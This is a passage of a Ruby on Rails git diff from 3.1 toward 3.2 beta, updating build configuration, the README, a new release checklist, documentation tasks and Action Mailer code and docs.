diff options
970 files changed, 23469 insertions, 12515 deletions
diff --git a/.gitignore b/.gitignore index be764143aa..aa14cee911 100644 --- a/.gitignore +++ b/.gitignore @@ -1,25 +1,23 @@ -*.gem -pkg -.bundle -Gemfile.lock +# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore. +# Check out http://help.github.com/ignore-files/ for how to set that up. + debug.log -doc/rdoc -activemodel/doc -activeresource/doc -activerecord/doc -actionpack/doc -actionmailer/doc -activesupport/doc -activesupport/test/tmp -activemodel/test/fixtures/fixture_database.sqlite3 -actionpack/test/tmp -activesupport/test/fixtures/isolation_test -dist -railties/test/500.html -railties/test/fixtures/tmp -railties/test/initializer/root/log -railties/doc -railties/guides/output -railties/tmp -.rvmrc -RDOC_MAIN.rdoc
\ No newline at end of file +/.bundle +/.rbenv-version +/.rvmrc +/Gemfile.lock +/pkg +/dist +/doc/rdoc +/*/doc +/*/test/tmp +/activerecord/sqlnet.log +/activemodel/test/fixtures/fixture_database.sqlite3 +/activesupport/test/fixtures/isolation_test +/railties/test/500.html +/railties/test/fixtures/tmp +/railties/test/initializer/root/log +/railties/doc +/railties/guides/output +/railties/tmp +/RDOC_MAIN.rdoc diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000000..265124a3af --- /dev/null +++ b/.travis.yml @@ -0,0 +1,19 @@ +script: 'ci/travis.rb' +rvm: + - 1.8.7 + - 1.9.2 + - 1.9.3 +env: + - "GEM=railties" + - "GEM=ap,am,amo,ares,as" + - "GEM=ar:mysql" + - "GEM=ar:mysql2" + - "GEM=ar:sqlite3" +notifications: + email: false + irc: + on_success: change + on_failure: always + channels: + - "irc.freenode.org#rails-contrib" +bundler_args: --path vendor/bundle @@ -1,25 +1,32 @@ -source 'http://rubygems.org' +source "http://rubygems.org" gemspec if ENV['AREL'] gem "arel", :path => ENV['AREL'] +end + +gem "bcrypt-ruby", "~> 3.0.0" +gem "jquery-rails" + +if ENV['JOURNEY'] + gem "journey", :path => ENV['JOURNEY'] else - gem "arel", '~> 2.1.0' + gem "journey", :git => "git://github.com/rails/journey" end -gem "coffee-script" -gem "sass" -gem "uglifier", :git => "git://github.com/lautis/uglifier.git" -gem "rack", :git => "git://github.com/rack/rack.git" +# This needs to be with require false to avoid +# it being automatically loaded by sprockets +gem "uglifier", ">= 1.0.3", :require => false -gem "rake", ">= 0.8.7" +gem "rake", ">= 0.8.7" gem "mocha", ">= 0.9.8" group :doc do gem "rdoc", "~> 3.4" - gem "horo", "= 1.0.3" + gem "sdoc", "~> 0.3" gem "RedCloth", "~> 4.2" if RUBY_VERSION < "1.9.3" + gem "w3c_validators" end # AS @@ -27,40 +34,43 @@ gem "memcache-client", ">= 1.8.5" platforms :mri_18 do gem "system_timer" - gem "ruby-debug", ">= 0.10.3" + gem "ruby-debug", ">= 0.10.3" unless ENV['TRAVIS'] gem "json" end platforms :mri_19 do # TODO: Remove the conditional when ruby-debug19 supports Ruby >= 1.9.3 - gem "ruby-debug19", :require => 'ruby-debug' if RUBY_VERSION < "1.9.3" + gem "ruby-debug19", :require => "ruby-debug" unless RUBY_VERSION > "1.9.2" || ENV['TRAVIS'] +end + +platforms :mri do + group :test do + gem "ruby-prof" if RUBY_VERSION < "1.9.3" + end end platforms :ruby do if ENV["RB_FSEVENT"] - gem 'rb-fsevent' + gem "rb-fsevent" end - gem 'json' - gem 'yajl-ruby' - gem "nokogiri", ">= 1.4.4" + gem "json" + gem "yajl-ruby" + gem "nokogiri", ">= 1.4.5" - group :test do - gem 'ruby-prof' - end # AR - gem "sqlite3", "~> 1.3.3" + gem "sqlite3", "~> 1.3.4" group :db do - gem "pg", ">= 0.11.0" + gem "pg", ">= 0.11.0" unless ENV['TRAVIS'] # once pg is on travis this can be removed gem "mysql", ">= 2.8.1" - gem "mysql2", ">= 0.3.0" + gem "mysql2", ">= 0.3.6" end end platforms :jruby do gem "ruby-debug", ">= 0.10.3" gem "json" - gem "activerecord-jdbcsqlite3-adapter" + gem "activerecord-jdbcsqlite3-adapter", ">= 1.2.0" # This is needed by now to let tests work on JRuby # TODO: When the JRuby guys merge jruby-openssl in @@ -68,19 +78,22 @@ platforms :jruby do gem "jruby-openssl" group :db do - gem "activerecord-jdbcmysql-adapter" - gem "activerecord-jdbcpostgresql-adapter" + gem "activerecord-jdbcmysql-adapter", ">= 1.2.0" + gem "activerecord-jdbcpostgresql-adapter", ">= 1.2.0" end end # gems that are necessary for ActiveRecord tests with Oracle database if ENV['ORACLE_ENHANCED_PATH'] || ENV['ORACLE_ENHANCED'] platforms :ruby do - gem 'ruby-oci8', ">= 2.0.4" + gem "ruby-oci8", ">= 2.0.4" end if ENV['ORACLE_ENHANCED_PATH'] - gem 'activerecord-oracle_enhanced-adapter', :path => ENV['ORACLE_ENHANCED_PATH'] + gem "activerecord-oracle_enhanced-adapter", :path => ENV['ORACLE_ENHANCED_PATH'] else gem "activerecord-oracle_enhanced-adapter", :git => "git://github.com/rsim/oracle-enhanced.git" end end + +# A gem necessary for ActiveRecord tests with IBM DB +gem "ibm_db" if ENV['IBM_DB'] diff --git a/RAILS_VERSION b/RAILS_VERSION index b4e716a7c1..dd8b7cd23b 100644 --- a/RAILS_VERSION +++ b/RAILS_VERSION @@ -1 +1 @@ -3.1.0.beta1 +3.2.0.beta diff --git a/README.rdoc b/README.rdoc index 143fdfeb75..0def4e5d12 100644 --- a/README.rdoc +++ b/README.rdoc @@ -1,30 +1,35 @@ == Welcome to Rails Rails is a web-application framework that includes everything needed to create -database-backed web applications according to the Model-View-Control pattern. - -This pattern splits the view (also called the presentation) into "dumb" -templates that are primarily responsible for inserting pre-built data in between -HTML tags. The model contains the "smart" domain objects (such as Account, -Product, Person, Post) that holds all the business logic and knows how to -persist themselves to a database. The controller handles the incoming requests -(such as Save New Account, Update Product, Show Post) by manipulating the model -and directing data to the view. - -In Rails, the model is handled by what's called an object-relational mapping -layer entitled Active Record. This layer allows you to present the data from -database rows as objects and embellish these data objects with business logic -methods. You can read more about Active Record in its -{README}[link:files/activerecord/README_rdoc.html]. - -The controller and view are handled by the Action Pack, which handles both -layers by its two parts: Action View and Action Controller. These two layers -are bundled in a single package due to their heavy interdependence. This is -unlike the relationship between the Active Record and Action Pack that is much -more separate. Each of these packages can be used independently outside of -Rails. You can read more about Action Pack in its -{README}[link:files/actionpack/README_rdoc.html]. - +database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern. + +Understanding the MVC pattern is key to understanding Rails. MVC divides your application +into three layers, each with a specific responsibility. + +The View layer is composed of "templates" that are responsible for providing +appropriate representations of your application's resources. Templates +can come in a variety of formats, but most view templates are \HTML with embedded Ruby +code (.erb files). + +The Model layer represents your domain model (such as Account, Product, Person, Post) +and encapsulates the business logic that is specific to your application. In Rails, +database-backed model classes are derived from ActiveRecord::Base. Active Record allows +you to present the data from database rows as objects and embellish these data objects +with business logic methods. Although most Rails models are backed by a database, models +can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as +provided by the ActiveModel module. You can read more about Active Record in its +{README}[link:/rails/rails/blob/master/activerecord/README.rdoc]. + +The Controller layer is responsible for handling incoming HTTP requests and providing a +suitable response. Usually this means returning \HTML, but Rails controllers can also +generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models +and render view templates in order to generate the appropriate HTTP response. + +In Rails, the Controller and View layers are handled together by Action Pack. +These two layers are bundled in a single package due to their heavy interdependence. +This is unlike the relationship between Active Record and Action Pack which are +independent. Each of these packages can be used independently outside of Rails. You +can read more about Action Pack in its {README}[link:/rails/rails/blob/master/actionpack/README.rdoc]. == Getting Started @@ -44,7 +49,7 @@ Rails. You can read more about Action Pack in its Run with <tt>--help</tt> for options. -4. Go to http://localhost:3000/ and you'll see: +4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!" @@ -56,13 +61,15 @@ Rails. You can read more about Action Pack in its * The {Ruby on Rails Guides}[http://guides.rubyonrails.org]. * The {API Documentation}[http://api.rubyonrails.org]. - == Contributing We encourage you to contribute to Ruby on Rails! Please check out the {Contributing to Rails -guide}[http://edgeguides.rubyonrails.org/contributing_to_rails.html] for guidelines about how +guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how to proceed. {Join us}[http://contributors.rubyonrails.org]! +== Travis Build Status {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails] + == License Ruby on Rails is released under the MIT license. + diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc new file mode 100644 index 0000000000..cbc9d0e1de --- /dev/null +++ b/RELEASING_RAILS.rdoc @@ -0,0 +1,186 @@ += Releasing Rails + +In this document, we'll cover the steps necessary to release Rails. Each +section contains steps to take during that time before the release. The times +suggested in each header are just that: suggestions. However, they should +really be considered as minimums. + +== 10 Days before release + +Today is mostly coordination tasks. Here are the things you must do today: + +=== Is the CI green? If not, make it green. (See "Fixing the CI") + +Do not release with a Red CI. You can find the CI status here: + + http://travis-ci.org/#!/rails/rails + +=== Is Sam Ruby happy? If not, make him happy. + +Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile +Web Development with Rails) all work. These are valuable integration tests +for Rails. You can check the status of his tests here: + + http://intertwingly.net/projects/dashboard.html + +Do not release with Red AWDwR tests. + +=== Do we have any git dependencies? If so, contact those authors. + +Having git dependencies indicates that we depend on unreleased code. +Obviously rails cannot be released when it depends on unreleased code. +Contact the authors of those particular gems and work out a release date that +suits them. + +=== Contact the security team (either Koz or tenderlove) + +Let them know of your plans to release. There may be security issues to be +addressed, and that can impact your release date. + +=== Notify implementors. + +Ruby implementors have high stakes in making sure Rails works. Be kind and +give them a heads up that Rails will be released soonish. + +Send an email just giving a heads up about the upcoming release to these +lists: + +* team@jruby.org +* community@rubini.us +* rubyonrails-core@googlegroups.com + +Implementors will love you and help you. + +== 3 Days before release + +This is when you should release the release candidate. Here are your tasks +for today: + +=== Is the CI green? If not, make it green. + +=== Is Sam Ruby happy? If not, make him happy. + +=== Contact the security team. CVE emails must be sent on this day. + +=== Create a release branch. + +From the stable branch, create a release branch. For example, if you're +releasing Rails 3.0.10, do this: + + [aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10 + Switched to a new branch '3-0-10' + [aaron@higgins rails (3-0-10)]$ + +=== Update each CHANGELOG. + +Many times commits are made without the CHANGELOG being updated. You should +review the commits since the last release, and fill in any missing information +for each CHANGELOG. + +You can review the commits for the 3.0.10 release like this: + + [aaron@higgins rails (3-0-10)]$ git log v3.0.9.. + +=== Update the RAILS_VERSION file to include the RC. + +=== Release the gem. + +IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest +to use Ruby 1.8 when releasing. + +Run `rake release`. This will populate the gemspecs with data from +RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org. +Here are the commands that `rake release` should use, so you can understand +what to do in case anything goes wrong: + + $ rake all:build + $ git commit -am'updating RAILS_VERSION' + $ git tag -m'tagging rc release' v3.0.10.rc1 + $ git push + $ git push --tags + $ for i in $(ls dist); do gem push $i; done + +=== Send Rails release announcements + +Write a release announcement that includes the version, changes, and links to +github where people can find the specific commit list. Here are the mailing +lists where you should announce: + +* rubyonrails-core@googlegroups.com +* rubyonrails-talk@googlegroups.com +* ruby-talk@ruby-lang.org + +Use markdown format for your announcement. Remember to ask people to report +issues with the release candidate to the rails-core mailing list. + +IMPORTANT: If any users experience regressions when using the release +candidate, you *must* postpone the release. Bugfix releases *should not* +break existing applications. + +=== Post the announcement to the Rails blog. + +If you used markdown format for your email, you can just paste it in to the +blog. + +* http://weblog.rubyonrails.org + +=== Post the announcement to the Rails twitter account. + +== Time between release candidate and actual release + +Check the rails-core mailing list and the github issue list for regressions in +the RC. + +If any regressions are found, fix the regressions and repeat the release +candidate process. We will not release the final until 72 hours after the +last release candidate has been pushed. This means that if users find +regressions, the scheduled release date must be postponed. + +When you fix the regressions, do not create a new branch. Fix them on the +stable branch, then cherry pick the commit to your release branch. No other +commits should be added to the release branch besides regression fixing commits. + +== Day of release + +Many of these steps are the same as for the release candidate, so if you need +more explanation on a particular step, so the RC steps. + +Today, do this stuff in this order: + +* Apply security patches to the release branch +* Update CHANGELOG with security fixes. +* Update RAILS_VERSION to remove the rc +* Release the gems +* Email security lists +* Email general announcement lists + +=== Emailing the rails security announce list + +Email the security announce list once for each vulnerability fixed. + +You can do this, or ask the security team to do it. + +Email the security reports to: + +* rubyonrails-security@googlegroups.com +* linux-distros@vs.openwall.org + +Be sure to note the security fixes in your announcement along with CVE numbers +and links to each patch. Some people may not be able to upgrade right away, +so we need to give them the security fixes in patch form. + +* Blog announcements +* Twitter announcements +* Merge the release branch to the stable branch. +* Drink beer (or other cocktail) + +== Misc + +=== Fixing the CI + +There are two simple steps for fixing the CI: + +1. Identify the problem +2. Fix it + +Repeat these steps until the CI is green. @@ -1,6 +1,7 @@ #!/usr/bin/env rake require 'rdoc/task' +require 'sdoc' require 'net/http' $:.unshift File.expand_path('..', __FILE__) @@ -51,9 +52,35 @@ desc "Generate documentation for the Rails framework" RDoc::Task.new do |rdoc| RDOC_MAIN = 'RDOC_MAIN.rdoc' + # This is a hack. + # + # Backslashes are needed to prevent RDoc from autolinking "Rails" to the + # documentation of the Rails module. On the other hand, as of this + # writing README.rdoc is displayed in the front page of the project in + # GitHub, where backslashes are shown and look weird. + # + # The temporary solution is to have a README.rdoc without backslashes for + # GitHub, and gsub it to generate the main page of the API. + # + # Also, relative links in GitHub have to point to blobs, whereas in the API + # they need to point to files. + # + # The idea for the future is to have totally different files, since the + # API is no longer a generic entry point to Rails and deserves a + # dedicated main page specifically thought as an API entry point. rdoc.before_running_rdoc do rdoc_main = File.read('README.rdoc') - rdoc_main.gsub!(/\b(?=Rails)\b/) { '\\' } + + # The ^(?=\S) assertion prevents code blocks from being processed, + # since no autolinking happens there and RDoc displays the backslash + # otherwise. + rdoc_main.gsub!(/^(?=\S).*?\b(?=Rails)\b/) { "#$&\\" } + rdoc_main.gsub!(%r{link:/rails/rails/blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html") + + # Remove Travis build status image from API pages. Only GitHub README page gets this image + # https build image is used to avoid GitHub caching: http://about.travis-ci.org/docs/user/status-images + rdoc_main.gsub!(%r{^== Travis.*}, '') + File.open(RDOC_MAIN, 'w') do |f| f.write(rdoc_main) end @@ -64,15 +91,17 @@ RDoc::Task.new do |rdoc| rdoc.rdoc_dir = 'doc/rdoc' rdoc.title = "Ruby on Rails Documentation" - rdoc.options << '-f' << 'horo' + rdoc.options << '-f' << 'sdoc' + rdoc.options << '-T' << 'rails' rdoc.options << '-c' << 'utf-8' + rdoc.options << '-g' # SDoc flag, link methods to GitHub rdoc.options << '-m' << RDOC_MAIN rdoc.rdoc_files.include('railties/CHANGELOG') rdoc.rdoc_files.include('railties/MIT-LICENSE') rdoc.rdoc_files.include('railties/README.rdoc') rdoc.rdoc_files.include('railties/lib/**/*.rb') - rdoc.rdoc_files.exclude('railties/lib/rails/generators/**/templates/*') + rdoc.rdoc_files.exclude('railties/lib/rails/generators/**/templates/**/*.rb') rdoc.rdoc_files.include('activerecord/README.rdoc') rdoc.rdoc_files.include('activerecord/CHANGELOG') diff --git a/actionmailer/CHANGELOG b/actionmailer/CHANGELOG index d4475bc951..14c887eb53 100644 --- a/actionmailer/CHANGELOG +++ b/actionmailer/CHANGELOG @@ -1,4 +1,4 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.1.0 (August 30, 2011)* * No changes diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc index 2806531dfa..dc74b590f7 100644 --- a/actionmailer/README.rdoc +++ b/actionmailer/README.rdoc @@ -10,7 +10,7 @@ Mail gem. It provides a way to make emails using templates in the same way that Action Controller renders views using templates. Additionally, an Action Mailer class can be used to process incoming email, -such as allowing a weblog to accept new posts from an email (which could even +such as allowing a blog to accept new posts from an email (which could even have been sent from a phone). == Sending emails @@ -59,6 +59,8 @@ generated would look like this: Mr. david@loudthinking.com + Thank you for signing up! + In previous version of Rails you would call <tt>create_method_name</tt> and <tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface, you simply call the method and optionally call +deliver+ on the return value. @@ -74,7 +76,7 @@ Or you can just chain the methods together like: == Setting defaults -It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you wont need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed. +It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed. Note that every value you set with this method will get over written if you use the same key in your mailer method. @@ -135,13 +137,13 @@ The Base class has the full list of configuration options. Here's an example: == Download and installation -The latest version of Action Mailer can be installed with Rubygems: +The latest version of Action Mailer can be installed with RubyGems: % [sudo] gem install actionmailer Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/actionmailer/ +* https://github.com/rails/rails/tree/master/actionmailer == License @@ -153,7 +155,7 @@ Action Mailer is released under the MIT license. API documentation is at -* http://api.rubyonrails.com +* http://api.rubyonrails.org Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile index df996acbc2..e7d8ee299d 100755 --- a/actionmailer/Rakefile +++ b/actionmailer/Rakefile @@ -1,7 +1,7 @@ #!/usr/bin/env rake require 'rake/testtask' require 'rake/packagetask' -require 'rake/gempackagetask' +require 'rubygems/package_task' desc "Default Task" task :default => [ :test ] @@ -24,7 +24,7 @@ end spec = eval(File.read('actionmailer.gemspec')) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec index 447e25ca8a..d7f450f751 100644 --- a/actionmailer/actionmailer.gemspec +++ b/actionmailer/actionmailer.gemspec @@ -11,7 +11,6 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'actionmailer' s.files = Dir['CHANGELOG', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*'] s.require_path = 'lib' diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb index b9e682b711..9bd73dd740 100644 --- a/actionmailer/lib/action_mailer.rb +++ b/actionmailer/lib/action_mailer.rb @@ -40,12 +40,10 @@ require 'active_support/lazy_load_hooks' module ActionMailer extend ::ActiveSupport::Autoload - autoload :AdvAttrAccessor autoload :Collector autoload :Base autoload :DeliveryMethods autoload :MailHelper - autoload :OldApi autoload :TestCase autoload :TestHelper end diff --git a/actionmailer/lib/action_mailer/adv_attr_accessor.rb b/actionmailer/lib/action_mailer/adv_attr_accessor.rb deleted file mode 100644 index c1aa8021ce..0000000000 --- a/actionmailer/lib/action_mailer/adv_attr_accessor.rb +++ /dev/null @@ -1,28 +0,0 @@ -module ActionMailer - module AdvAttrAccessor #:nodoc: - def adv_attr_accessor(name, deprecation=nil) - ivar = "@#{name}" - deprecation ||= "Please pass :#{name} as hash key to mail() instead" - - class_eval <<-ACCESSORS, __FILE__, __LINE__ + 1 - def #{name}=(value) - ActiveSupport::Deprecation.warn "#{name}= is deprecated. #{deprecation}" - #{ivar} = value - end - - def #{name}(*args) - raise ArgumentError, "expected 0 or 1 parameters" unless args.length <= 1 - if args.empty? - ActiveSupport::Deprecation.warn "#{name}() is deprecated and will be removed in future versions." - #{ivar} if instance_variable_names.include?(#{ivar.inspect}) - else - ActiveSupport::Deprecation.warn "#{name}(value) is deprecated. #{deprecation}" - #{ivar} = args.first - end - end - ACCESSORS - - self.protected_instance_variables << ivar if self.respond_to?(:protected_instance_variables) - end - end -end diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb index f00a0c8ae0..8f2c567e3e 100644 --- a/actionmailer/lib/action_mailer/base.rb +++ b/actionmailer/lib/action_mailer/base.rb @@ -1,5 +1,4 @@ require 'mail' -require 'action_mailer/tmail_compat' require 'action_mailer/collector' require 'active_support/core_ext/array/wrap' require 'active_support/core_ext/object/blank' @@ -23,16 +22,16 @@ module ActionMailer #:nodoc: # # Examples: # - # class Notifier < ActionMailer::Base - # default :from => 'no-reply@example.com', + # class Notifier < ActionMailer::Base + # default :from => 'no-reply@example.com', # :return_path => 'system@example.com' # - # def welcome(recipient) - # @account = recipient - # mail(:to => recipient.email_address_with_name, - # :bcc => ["bcc@example.com", "Order Watcher <watcher@example.com>"]) - # end - # end + # def welcome(recipient) + # @account = recipient + # mail(:to => recipient.email_address_with_name, + # :bcc => ["bcc@example.com", "Order Watcher <watcher@example.com>"]) + # end + # end # # Within the mailer method, you have access to the following methods: # @@ -58,7 +57,7 @@ module ActionMailer #:nodoc: # will accept (any valid Email header including optional fields). # # The mail method, if not passed a block, will inspect your views and send all the views with - # the same name as the method, so the above action would send the +welcome.text.plain.erb+ view + # the same name as the method, so the above action would send the +welcome.text.erb+ view # file as well as the +welcome.text.html.erb+ view file in a +multipart/alternative+ email. # # If you want to explicitly render only certain templates, pass a block: @@ -89,7 +88,7 @@ module ActionMailer #:nodoc: # # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same # name as the method in your mailer model. For example, in the mailer defined above, the template at - # <tt>app/views/notifier/signup_notification.text.plain.erb</tt> would be used to generate the email. + # <tt>app/views/notifier/welcome.text.erb</tt> would be used to generate the email. # # Variables defined in the model are accessible as instance variables in the view. # @@ -101,12 +100,12 @@ module ActionMailer #:nodoc: # You can even use Action Pack helpers in these views. For example: # # You got a new note! - # <%= truncate(@note.body, 25) %> + # <%= truncate(@note.body, :length => 25) %> # # If you need to access the subject, from or the recipients in the view, you can do that through message object: # # You got a new note from <%= message.from %>! - # <%= truncate(@note.body, 25) %> + # <%= truncate(@note.body, :length => 25) %> # # # = Generating URLs @@ -123,21 +122,19 @@ module ActionMailer #:nodoc: # # <%= users_url(:host => "example.com") %> # - # You want to avoid using the <tt>name_of_route_path</tt> form of named routes because it doesn't - # make sense to generate relative URLs in email messages. + # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the + # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will + # have no concept of a current URL from which to determine a relative path. # # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> # option as a configuration option in <tt>config/application.rb</tt>: # # config.action_mailer.default_url_options = { :host => "example.com" } # - # Setting <tt>ActionMailer::Base.default_url_options</tt> directly is now deprecated, use the configuration - # option mentioned above to set the default host. - # - # If you do decide to set a default <tt>:host</tt> for your mailers you want to use the - # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. This will ensure that absolute URLs are - # generated because the <tt>url_for</tt> view helper will, by default, generate relative URLs when a - # <tt>:host</tt> option isn't explicitly provided. + # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the + # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper + # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing + # <tt>:only_path => false</tt> will ensure that absolute URLs are generated. # # = Sending mail # @@ -152,12 +149,12 @@ module ActionMailer #:nodoc: # # = Multipart Emails # - # Multipart messages can also be used implicitly because Action Mailer will automatically - # detect and use multipart templates, where each template is named after the name of the action, followed - # by the content type. Each such detected template will be added as separate part to the message. + # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use + # multipart templates, where each template is named after the name of the action, followed by the content + # type. Each such detected template will be added as a separate part to the message. # # For example, if the following templates exist: - # * signup_notification.text.plain.erb + # * signup_notification.text.erb # * signup_notification.text.html.erb # * signup_notification.text.xml.builder # * signup_notification.text.yaml.erb @@ -182,7 +179,7 @@ module ActionMailer #:nodoc: # end # end # - # Which will (if it had both a <tt>welcome.text.plain.erb</tt> and <tt>welcome.text.html.erb</tt> + # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.text.html.erb</tt> # template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts, # the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside, # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book @@ -216,15 +213,15 @@ module ActionMailer #:nodoc: # # = Observing and Intercepting Mails # - # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to - # register objects that are called during the mail delivery life cycle. + # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to + # register classes that are called during the mail delivery life cycle. # - # An observer object must implement the <tt>:delivered_email(message)</tt> method which will be + # An observer class must implement the <tt>:delivered_email(message)</tt> method which will be # called once for every email sent after the email has been sent. # - # An interceptor object must implement the <tt>:delivering_email(message)</tt> method which will be + # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be # called before the email is sent, allowing you to make modifications to the email before it hits - # the delivery agents. Your object should make any needed modifications directly to the passed + # the delivery agents. Your class should make any needed modifications directly to the passed # in Mail::Message instance. # # = Default Hash @@ -297,9 +294,9 @@ module ActionMailer #:nodoc: # information and a cryptographic Message Digest 5 algorithm to hash important information) # * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server # and starts to use it. - # * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is - # really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name - # of an OpenSSL verify constant ('none', 'peer', 'client_once','fail_if_no_peer_cert') or directly the + # * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is + # really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name + # of an OpenSSL verify constant ('none', 'peer', 'client_once','fail_if_no_peer_cert') or directly the # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER,...). # # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method. @@ -315,29 +312,16 @@ module ActionMailer #:nodoc: # # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default), # <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method - # object eg. MyOwnDeliveryMethodClass.new. See the Mail gem documentation on the interface you need to + # object eg. MyOwnDeliveryMethodClass.new. See the Mail gem documentation on the interface you need to # implement for a custom delivery agent. # # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you - # call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can + # call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can # be turned off to aid in functional testing. # # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with # <tt>delivery_method :test</tt>. Most useful for unit and functional testing. # - # * <tt>default_charset</tt> - This is now deprecated, use the +default+ method above to - # set the default +:charset+. - # - # * <tt>default_content_type</tt> - This is now deprecated, use the +default+ method above - # to set the default +:content_type+. - # - # * <tt>default_mime_version</tt> - This is now deprecated, use the +default+ method above - # to set the default +:mime_version+. - # - # * <tt>default_implicit_parts_order</tt> - This is now deprecated, use the +default+ method above - # to set the default +:parts_order+. Parts Order is used when a message is built implicitly - # (i.e. multiple parts are assembled from templates which specify the content type in their - # filenames) this variable controls how the parts are ordered. class Base < AbstractController::Base include DeliveryMethods abstract! @@ -352,7 +336,6 @@ module ActionMailer #:nodoc: self.protected_instance_variables = %w(@_action_has_layout) helper ActionMailer::MailHelper - include ActionMailer::OldApi private_class_method :new #:nodoc: @@ -383,8 +366,8 @@ module ActionMailer #:nodoc: Mail.register_observer(delivery_observer) end - # Register an Inteceptor which will be called before mail is sent. - # Either a class or a string can be passed in as the Observer. If a string is passed in + # Register an Interceptor which will be called before mail is sent. + # Either a class or a string can be passed in as the Interceptor. If a string is passed in # it will be <tt>constantize</tt>d. def register_interceptor(interceptor) delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor) @@ -541,7 +524,7 @@ module ActionMailer #:nodoc: # # * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will # ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of - # <tt>[:actionmailer, mailer_scope, action_name]</tt> or if this is missing, will translate the + # <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the # humanized version of the <tt>action_name</tt> # * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array # of addresses. @@ -567,8 +550,8 @@ module ActionMailer #:nodoc: # method. # # When a <tt>:return_path</tt> is specified as header, that value will be used as the 'envelope from' - # address for the Mail message. Setting this is useful when you want delivery notifications - # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the + # address for the Mail message. Setting this is useful when you want delivery notifications + # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the # <tt>:return_path</tt> in preference to the <tt>:sender</tt> in preference to the <tt>:from</tt> # field for the 'envelope from' value. # @@ -750,3 +733,4 @@ module ActionMailer #:nodoc: ActiveSupport.run_load_hooks(:action_mailer, self) end end + diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb index b324ba790d..d1467fb526 100644 --- a/actionmailer/lib/action_mailer/delivery_methods.rb +++ b/actionmailer/lib/action_mailer/delivery_methods.rb @@ -1,7 +1,7 